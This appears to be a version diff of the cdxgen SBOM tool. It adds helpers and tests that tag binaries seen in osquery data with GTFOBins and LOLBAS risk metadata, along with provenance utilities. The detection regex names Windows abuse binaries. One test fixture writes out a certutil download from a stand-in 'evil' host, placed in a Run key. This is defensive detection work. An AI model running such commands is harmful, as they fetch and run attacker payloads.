@cyclonedx/cdxgen 12.2.1 → 12.3.0

package/lib/helpers/gtfobins.poku.js

@@ -0,0 +1,49 @@
+import { strict as assert } from "node:assert";
+
+import { describe, it } from "poku";
+
+import { createGtfoBinsProperties, getGtfoBinsMetadata } from "./gtfobins.js";
+
+describe("gtfobins helpers", () => {
+  it("returns metadata for exact GTFOBins matches", () => {
+    const metadata = getGtfoBinsMetadata("bash");
+    assert.ok(metadata);
+    assert.strictEqual(metadata.canonicalName, "bash");
+    assert.ok(metadata.functions.includes("shell"));
+    assert.ok(metadata.contexts.includes("suid"));
+    assert.ok(metadata.riskTags.includes("privilege-escalation"));
+    assert.ok(metadata.riskTags.includes("lateral-movement"));
+  });
+
+  it("resolves versioned aliases conservatively", () => {
+    const metadata = getGtfoBinsMetadata("python3.12");
+    assert.ok(metadata);
+    assert.strictEqual(metadata.canonicalName, "python");
+    assert.strictEqual(metadata.matchSource, "alias");
+    assert.ok(metadata.functions.includes("shell"));
+  });
+
+  it("resolves symlink targets when the basename is not indexed", () => {
+    const metadata = getGtfoBinsMetadata("sh", "busybox");
+    assert.ok(metadata);
+    assert.strictEqual(metadata.canonicalName, "busybox");
+    assert.strictEqual(metadata.matchSource, "symlink");
+    assert.ok(metadata.riskTags.includes("lateral-movement"));
+  });
+
+  it("emits stable CycloneDX properties for matched binaries", () => {
+    const properties = createGtfoBinsProperties("docker");
+    const propertyMap = Object.fromEntries(
+      properties.map((property) => [property.name, property.value]),
+    );
+    assert.strictEqual(propertyMap["cdx:gtfobins:matched"], "true");
+    assert.strictEqual(propertyMap["cdx:gtfobins:name"], "docker");
+    assert.ok(propertyMap["cdx:gtfobins:functions"].includes("shell"));
+    assert.ok(
+      propertyMap["cdx:gtfobins:riskTags"].includes("container-escape"),
+    );
+    assert.ok(
+      propertyMap["cdx:gtfobins:reference"].endsWith("/gtfobins/docker/"),
+    );
+  });
+});

package/lib/helpers/lolbas.js

@@ -0,0 +1,267 @@
+import { readFileSync } from "node:fs";
+import path, { basename } from "node:path";
+import { fileURLToPath } from "node:url";
+
+const LOLBAS_INDEX_FILE = fileURLToPath(
+  new URL("../../data/lolbas-index.json", import.meta.url),
+);
+const LOLBAS_REFERENCE_PREFIX =
+  "https://lolbas-project.github.io/lolbas/Binaries/";
+const DIRECT_ALIASES = new Map([
+  ["bitsadmin", "bitsadmin.exe"],
+  ["certutil", "certutil.exe"],
+  ["cmd", "cmd.exe"],
+  ["cmdkey", "cmdkey.exe"],
+  ["cmstp", "cmstp.exe"],
+  ["cscript", "cscript.exe"],
+  ["ftp", "ftp.exe"],
+  ["installutil", "installutil.exe"],
+  ["msbuild", "msbuild.exe"],
+  ["mshta", "mshta.exe"],
+  ["msiexec", "msiexec.exe"],
+  ["odbcconf", "odbcconf.exe"],
+  ["powershell", "powershell.exe"],
+  ["pwsh", "pwsh.exe"],
+  ["regsvr32", "regsvr32.exe"],
+  ["rundll32", "rundll32.exe"],
+  ["wmic", "wmic.exe"],
+  ["wscript", "wscript.exe"],
+]);
+const MATCH_FIELDS = [
+  "action",
+  "arguments",
+  "cmdline",
+  "command",
+  "command_line",
+  "command_line_template",
+  "description",
+  "display_name",
+  "executable",
+  "name",
+  "path",
+  "program",
+  "source",
+];
+const STANDALONE_COMMAND_PATTERN =
+  /\b(bitsadmin|certutil|cmd|cmdkey|cmstp|cscript|ftp|installutil|msbuild|mshta|msiexec|odbcconf|powershell|pwsh|regsvr32|rundll32|wmic|wscript)\b/gi;
+const WINDOWS_EXECUTABLE_PATTERN =
+  /(?:[a-z]:\\[^\s"'`,;|]+|\\\\[^\s"'`,;|]+|[a-z0-9._-]+)\.(?:exe|cmd|bat|dll|hta|js|jse|ps1|vbs|vbe|wsf|wsh)\b/gi;
+
+const LOLBAS_INDEX = loadLolbasIndex();
+
+function loadLolbasIndex() {
+  try {
+    return JSON.parse(readFileSync(LOLBAS_INDEX_FILE, "utf8"));
+  } catch {
+    return { entries: {}, source: "", sourceRef: "" };
+  }
+}
+
+function normalizeCandidate(candidate) {
+  if (!candidate || typeof candidate !== "string") {
+    return undefined;
+  }
+  const trimmed = candidate
+    .trim()
+    .replace(/^["']|["']$/g, "")
+    .replace(/\\/g, "/");
+  if (!trimmed) {
+    return undefined;
+  }
+  return basename(trimmed).toLowerCase();
+}
+
+function uniqueSortedStrings(values) {
+  return Array.from(
+    new Set(
+      values.filter(
+        (value) => typeof value === "string" && value.trim().length,
+      ),
+    ),
+  ).sort();
+}
+
+function resolveLolbasCandidate(candidate) {
+  const normalized = normalizeCandidate(candidate);
+  if (!normalized) {
+    return undefined;
+  }
+  if (LOLBAS_INDEX.entries?.[normalized]) {
+    return normalized;
+  }
+  const alias = DIRECT_ALIASES.get(normalized);
+  if (alias && LOLBAS_INDEX.entries?.[alias]) {
+    return alias;
+  }
+  return undefined;
+}
+
+function deriveRiskTags(entry) {
+  const riskTags = new Set(entry?.riskTags || []);
+  const functions = new Set(entry?.functions || []);
+  const contexts = new Set(entry?.contexts || []);
+  if (
+    functions.has("proxy-execution") ||
+    functions.has("library-load") ||
+    functions.has("script-execution")
+  ) {
+    riskTags.add("proxy-execution");
+  }
+  if (
+    functions.has("download") ||
+    functions.has("upload") ||
+    functions.has("credential-access")
+  ) {
+    riskTags.add("high-signal");
+  }
+  if (contexts.has("uac-bypass")) {
+    riskTags.add("uac-bypass");
+  }
+  if (functions.has("download") || functions.has("upload")) {
+    riskTags.add("network-transfer");
+  }
+  return Array.from(riskTags).sort();
+}
+
+function collectValueCandidates(value) {
+  if (!value || typeof value !== "string") {
+    return [];
+  }
+  const candidates = new Set();
+  for (const match of value.matchAll(WINDOWS_EXECUTABLE_PATTERN)) {
+    candidates.add(match[0]);
+  }
+  for (const match of value.matchAll(STANDALONE_COMMAND_PATTERN)) {
+    candidates.add(match[1]);
+  }
+  return Array.from(candidates);
+}
+
+/**
+ * Resolve LOLBAS metadata for a binary or script name.
+ *
+ * @param {string} candidate Binary or script path/name
+ * @returns {object|undefined} Matched LOLBAS metadata
+ */
+export function getLolbasMetadata(candidate) {
+  const canonicalName = resolveLolbasCandidate(candidate);
+  if (!canonicalName) {
+    return undefined;
+  }
+  const entry = LOLBAS_INDEX.entries[canonicalName];
+  return {
+    attackTactics: uniqueSortedStrings(entry.attackTactics || []),
+    attackTechniques: uniqueSortedStrings(entry.attackTechniques || []),
+    canonicalName,
+    contexts: uniqueSortedStrings(entry.contexts || []),
+    functions: uniqueSortedStrings(entry.functions || []),
+    reference:
+      entry.reference ||
+      `${LOLBAS_REFERENCE_PREFIX}${encodeURIComponent(path.parse(canonicalName).name)}/`,
+    riskTags: deriveRiskTags(entry),
+    source: LOLBAS_INDEX.source,
+    sourceRef: LOLBAS_INDEX.sourceRef,
+  };
+}
+
+/**
+ * Resolve LOLBAS properties for an osquery row.
+ *
+ * @param {string} queryCategory Osquery query category
+ * @param {object} row Osquery row
+ * @returns {Array<object>} CycloneDX custom properties
+ */
+export function createLolbasProperties(queryCategory, row) {
+  const matches = new Map();
+  for (const field of MATCH_FIELDS) {
+    const fieldValue = row?.[field];
+    if (!fieldValue) {
+      continue;
+    }
+    for (const candidate of collectValueCandidates(String(fieldValue))) {
+      const metadata = getLolbasMetadata(candidate);
+      if (!metadata) {
+        continue;
+      }
+      const existing = matches.get(metadata.canonicalName) || {
+        fields: new Set(),
+        metadata,
+      };
+      existing.fields.add(field);
+      matches.set(metadata.canonicalName, existing);
+    }
+  }
+  if (!matches.size) {
+    return [];
+  }
+  const attackTactics = uniqueSortedStrings(
+    Array.from(matches.values()).flatMap(
+      (match) => match.metadata.attackTactics,
+    ),
+  );
+  const attackTechniques = uniqueSortedStrings(
+    Array.from(matches.values()).flatMap(
+      (match) => match.metadata.attackTechniques,
+    ),
+  );
+  const contexts = uniqueSortedStrings(
+    Array.from(matches.values()).flatMap((match) => match.metadata.contexts),
+  );
+  const functions = uniqueSortedStrings(
+    Array.from(matches.values()).flatMap((match) => match.metadata.functions),
+  );
+  const references = uniqueSortedStrings(
+    Array.from(matches.values()).map((match) => match.metadata.reference),
+  );
+  const riskTags = uniqueSortedStrings(
+    Array.from(matches.values()).flatMap((match) => match.metadata.riskTags),
+  );
+  const matchFields = uniqueSortedStrings(
+    Array.from(matches.values()).flatMap((match) => Array.from(match.fields)),
+  );
+  const names = uniqueSortedStrings(Array.from(matches.keys()));
+  const properties = [
+    { name: "cdx:lolbas:matched", value: "true" },
+    { name: "cdx:lolbas:names", value: names.join(",") },
+    { name: "cdx:lolbas:matchFields", value: matchFields.join(",") },
+    { name: "cdx:lolbas:queryCategory", value: queryCategory },
+    { name: "cdx:lolbas:sourceRef", value: LOLBAS_INDEX.sourceRef || "" },
+  ];
+  if (functions.length) {
+    properties.push({
+      name: "cdx:lolbas:functions",
+      value: functions.join(","),
+    });
+  }
+  if (contexts.length) {
+    properties.push({
+      name: "cdx:lolbas:contexts",
+      value: contexts.join(","),
+    });
+  }
+  if (riskTags.length) {
+    properties.push({
+      name: "cdx:lolbas:riskTags",
+      value: riskTags.join(","),
+    });
+  }
+  if (attackTactics.length) {
+    properties.push({
+      name: "cdx:lolbas:attackTactics",
+      value: attackTactics.join(","),
+    });
+  }
+  if (attackTechniques.length) {
+    properties.push({
+      name: "cdx:lolbas:attackTechniques",
+      value: attackTechniques.join(","),
+    });
+  }
+  if (references.length) {
+    properties.push({
+      name: "cdx:lolbas:references",
+      value: references.join(","),
+    });
+  }
+  return properties;
+}

package/lib/helpers/lolbas.poku.js

@@ -0,0 +1,39 @@
+import { strict as assert } from "node:assert";
+
+import { describe, it } from "poku";
+
+import { createLolbasProperties, getLolbasMetadata } from "./lolbas.js";
+
+describe("lolbas helpers", () => {
+  it("resolves extensionless aliases to canonical LOLBAS executables", () => {
+    const metadata = getLolbasMetadata("powershell");
+    assert.ok(metadata);
+    assert.strictEqual(metadata.canonicalName, "powershell.exe");
+    assert.ok(metadata.functions.includes("script-execution"));
+    assert.ok(metadata.attackTechniques.includes("T1059.001"));
+  });
+
+  it("resolves fully qualified Windows paths", () => {
+    const metadata = getLolbasMetadata("C:\\Windows\\System32\\regsvr32.exe");
+    assert.ok(metadata);
+    assert.strictEqual(metadata.canonicalName, "regsvr32.exe");
+    assert.ok(metadata.riskTags.includes("proxy-execution"));
+  });
+
+  it("creates aggregated properties for osquery rows with LOLBAS matches", () => {
+    const properties = createLolbasProperties("windows_run_keys", {
+      description:
+        "powershell -enc AAAA; certutil.exe -urlcache -f https://evil/p.ps1 p.ps1",
+      key: "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
+    });
+    const propertyMap = Object.fromEntries(
+      properties.map((property) => [property.name, property.value]),
+    );
+    assert.strictEqual(propertyMap["cdx:lolbas:matched"], "true");
+    assert.ok(propertyMap["cdx:lolbas:names"].includes("powershell.exe"));
+    assert.ok(propertyMap["cdx:lolbas:names"].includes("certutil.exe"));
+    assert.ok(propertyMap["cdx:lolbas:functions"].includes("download"));
+    assert.ok(propertyMap["cdx:lolbas:attackTechniques"].includes("T1059.001"));
+    assert.ok(propertyMap["cdx:lolbas:matchFields"].includes("description"));
+  });
+});

package/lib/helpers/osqueryTransform.js

@@ -0,0 +1,84 @@
+import { PackageURL } from "packageurl-js";
+
+export function deriveOsQueryVersion(res) {
+  return (
+    res.version ||
+    res.hotfix_id ||
+    res.hardware_version ||
+    res.port ||
+    res.pid ||
+    res.subject_key_id ||
+    res.interface ||
+    res.instance_id
+  );
+}
+
+export function deriveOsQueryName(res, singleResult, queryName) {
+  let name =
+    res.name ||
+    res.device_id ||
+    res.hotfix_id ||
+    res.uuid ||
+    res.serial ||
+    res.pid ||
+    res.address ||
+    res.ami_id ||
+    res.interface ||
+    res.client_app_id;
+  if (!name && singleResult && queryName) {
+    name = queryName;
+  }
+  return name;
+}
+
+export function deriveOsQueryPublisher(res) {
+  const publisher =
+    res.publisher ||
+    res.maintainer ||
+    res.creator ||
+    res.manufacturer ||
+    res.provider ||
+    "";
+  return publisher === "null" ? "" : publisher;
+}
+
+export function deriveOsQueryDescription(res) {
+  return (
+    res.description ||
+    res.summary ||
+    res.arguments ||
+    res.device ||
+    res.codename ||
+    res.section ||
+    res.status ||
+    res.identifier ||
+    res.components ||
+    ""
+  );
+}
+
+export function sanitizeOsQueryIdentity(value) {
+  return String(value || "")
+    .replace(/ /g, "+")
+    .replace(/[:%]/g, "-")
+    .replace(/^[@{]/g, "")
+    .replace(/[}]$/g, "");
+}
+
+export function createOsQueryPurl(
+  purlType,
+  group,
+  name,
+  version,
+  qualifiers,
+  subpath,
+) {
+  return new PackageURL(
+    purlType || "swid",
+    group,
+    name,
+    version || "",
+    qualifiers,
+    subpath,
+  ).toString();
+}

package/lib/helpers/osqueryTransform.poku.js

@@ -0,0 +1,49 @@
+import { assert, describe, it } from "poku";
+
+import {
+  createOsQueryPurl,
+  deriveOsQueryDescription,
+  deriveOsQueryName,
+  deriveOsQueryPublisher,
+  deriveOsQueryVersion,
+  sanitizeOsQueryIdentity,
+} from "./osqueryTransform.js";
+
+describe("osqueryTransform helpers", () => {
+  it("derives version, name, publisher, and description from osquery rows", () => {
+    const row = {
+      pid: "1024",
+      provider: "null",
+      summary: "sample description",
+    };
+    assert.strictEqual(deriveOsQueryVersion(row), "1024");
+    assert.strictEqual(deriveOsQueryName(row, false), "1024");
+    assert.strictEqual(deriveOsQueryPublisher(row), "");
+    assert.strictEqual(deriveOsQueryDescription(row), "sample description");
+  });
+
+  it("falls back to query name for single-row synthetic entries", () => {
+    const row = {};
+    assert.strictEqual(deriveOsQueryName(row, true, "os-image"), "os-image");
+  });
+
+  it("sanitizes osquery identity strings used in purl fields", () => {
+    assert.strictEqual(
+      sanitizeOsQueryIdentity("{My App:%Name}"),
+      "My+App--Name",
+    );
+  });
+
+  it("creates valid purl strings for osquery-derived components", () => {
+    const purl = createOsQueryPurl(
+      "swid",
+      "microsoft",
+      "windows+11",
+      "22H2",
+      undefined,
+      "windows",
+    );
+    assert.ok(purl.startsWith("pkg:swid/microsoft/"));
+    assert.ok(purl.includes("@22H2"));
+  });
+});

package/lib/helpers/provenanceUtils.js

@@ -0,0 +1,193 @@
+const NPM_PROVENANCE_URL_PROPERTY = "cdx:npm:provenanceUrl";
+const NPM_TRUSTED_PUBLISHING_PROPERTY = "cdx:npm:trustedPublishing";
+const PYPI_PROVENANCE_URL_PROPERTY = "cdx:pypi:provenanceUrl";
+const PYPI_TRUSTED_PUBLISHING_PROPERTY = "cdx:pypi:trustedPublishing";
+
+export const NPM_PROVENANCE_EVIDENCE_PROPERTIES = [
+  NPM_PROVENANCE_URL_PROPERTY,
+  "cdx:npm:provenanceDigest",
+  "cdx:npm:provenanceKeyId",
+  "cdx:npm:provenancePredicateType",
+  "cdx:npm:provenanceSignature",
+  "cdx:npm:artifactIntegrity",
+  "cdx:npm:artifactShasum",
+];
+export const PYPI_PROVENANCE_EVIDENCE_PROPERTIES = [
+  PYPI_PROVENANCE_URL_PROPERTY,
+  "cdx:pypi:provenanceDigest",
+  "cdx:pypi:provenanceKeyId",
+  "cdx:pypi:provenancePredicateType",
+  "cdx:pypi:provenanceSignature",
+  "cdx:pypi:artifactDigestSha256",
+  "cdx:pypi:artifactDigestBlake2b256",
+  "cdx:pypi:artifactDigestMd5",
+];
+export const REGISTRY_PROVENANCE_EVIDENCE_PROPERTIES = [
+  ...NPM_PROVENANCE_EVIDENCE_PROPERTIES,
+  ...PYPI_PROVENANCE_EVIDENCE_PROPERTIES,
+];
+export const TRUSTED_PUBLISHING_PROPERTIES = [
+  NPM_TRUSTED_PUBLISHING_PROPERTY,
+  PYPI_TRUSTED_PUBLISHING_PROPERTY,
+];
+
+export const REGISTRY_PROVENANCE_ICON = "🛡";
+
+/**
+ * Return a component property value by name.
+ *
+ * @param {object} component CycloneDX component
+ * @param {string} propertyName Property name to look up
+ * @returns {string | undefined} Property value if present
+ */
+export function getComponentPropertyValue(component, propertyName) {
+  return component?.properties?.find((prop) => prop?.name === propertyName)
+    ?.value;
+}
+
+/**
+ * Return a property value by name from a raw properties array.
+ *
+ * @param {object[]} properties CycloneDX properties array
+ * @param {string} propertyName Property name to look up
+ * @returns {string | undefined} Property value if present
+ */
+export function getPropertyValue(properties, propertyName) {
+  return properties?.find((prop) => prop?.name === propertyName)?.value;
+}
+
+/**
+ * Check whether any of the supplied properties exist and carry a value.
+ *
+ * @param {object[]} properties CycloneDX properties array
+ * @param {string[]} propertyNames Property names to test
+ * @returns {boolean} True when any named property has a non-empty value
+ */
+export function hasAnyPropertyValue(properties, propertyNames) {
+  return propertyNames.some((propertyName) =>
+    Boolean(getPropertyValue(properties, propertyName)),
+  );
+}
+
+/**
+ * Determine whether a raw properties array includes trusted publishing metadata.
+ *
+ * @param {object[]} properties CycloneDX properties array
+ * @returns {boolean} True when trusted publishing is recorded for npm or PyPI
+ */
+export function hasTrustedPublishingProperties(properties) {
+  return TRUSTED_PUBLISHING_PROPERTIES.some(
+    (propertyName) => getPropertyValue(properties, propertyName) === "true",
+  );
+}
+
+/**
+ * Determine whether a raw properties array includes direct registry provenance evidence.
+ *
+ * @param {object[]} properties CycloneDX properties array
+ * @returns {boolean} True when direct provenance evidence is present
+ */
+export function hasRegistryProvenanceEvidenceProperties(properties) {
+  return hasAnyPropertyValue(
+    properties,
+    REGISTRY_PROVENANCE_EVIDENCE_PROPERTIES,
+  );
+}
+
+/**
+ * Determine whether a component includes trusted publishing metadata.
+ *
+ * @param {object} component CycloneDX component
+ * @returns {boolean} True when trusted publishing is recorded for npm or PyPI
+ */
+export function hasComponentTrustedPublishing(component) {
+  return hasTrustedPublishingProperties(component?.properties);
+}
+
+/**
+ * Determine whether a component includes direct registry provenance evidence.
+ *
+ * @param {object} component CycloneDX component
+ * @returns {boolean} True when provenance URL, digests, signatures, or key IDs exist
+ */
+export function hasComponentRegistryProvenanceEvidence(component) {
+  return hasRegistryProvenanceEvidenceProperties(component?.properties);
+}
+
+/**
+ * Determine whether a component includes registry provenance metadata.
+ *
+ * @param {object} component CycloneDX component
+ * @returns {boolean} True when provenance or trusted publishing metadata exists
+ */
+export function hasComponentRegistryProvenance(component) {
+  return (
+    hasComponentTrustedPublishing(component) ||
+    hasComponentRegistryProvenanceEvidence(component)
+  );
+}
+
+/**
+ * Filter components to those carrying trusted publishing metadata.
+ *
+ * @param {object[]} components BOM components
+ * @returns {object[]} Trusted-publishing-backed components
+ */
+export function getTrustedComponents(components) {
+  if (!Array.isArray(components)) {
+    return [];
+  }
+  return components.filter((component) =>
+    hasComponentTrustedPublishing(component),
+  );
+}
+
+/**
+ * Filter components to those carrying direct registry provenance evidence.
+ *
+ * @param {object[]} components BOM components
+ * @returns {object[]} Provenance-backed components
+ */
+export function getProvenanceComponents(components) {
+  if (!Array.isArray(components)) {
+    return [];
+  }
+  return components.filter((component) =>
+    hasComponentRegistryProvenanceEvidence(component),
+  );
+}
+
+/**
+ * Count components with trusted publishing metadata by registry ecosystem.
+ *
+ * @param {object[]} components BOM components
+ * @returns {{npm: number, pypi: number, total: number}} Trusted publishing counts
+ */
+export function getTrustedPublishingComponentCounts(components) {
+  const counts = {
+    npm: 0,
+    pypi: 0,
+    total: 0,
+  };
+  if (!Array.isArray(components)) {
+    return counts;
+  }
+  for (const component of components) {
+    const npmTrustedPublishing =
+      getComponentPropertyValue(component, NPM_TRUSTED_PUBLISHING_PROPERTY) ===
+      "true";
+    const pypiTrustedPublishing =
+      getComponentPropertyValue(component, PYPI_TRUSTED_PUBLISHING_PROPERTY) ===
+      "true";
+    if (npmTrustedPublishing) {
+      counts.npm += 1;
+    }
+    if (pypiTrustedPublishing) {
+      counts.pypi += 1;
+    }
+    if (npmTrustedPublishing || pypiTrustedPublishing) {
+      counts.total += 1;
+    }
+  }
+  return counts;
+}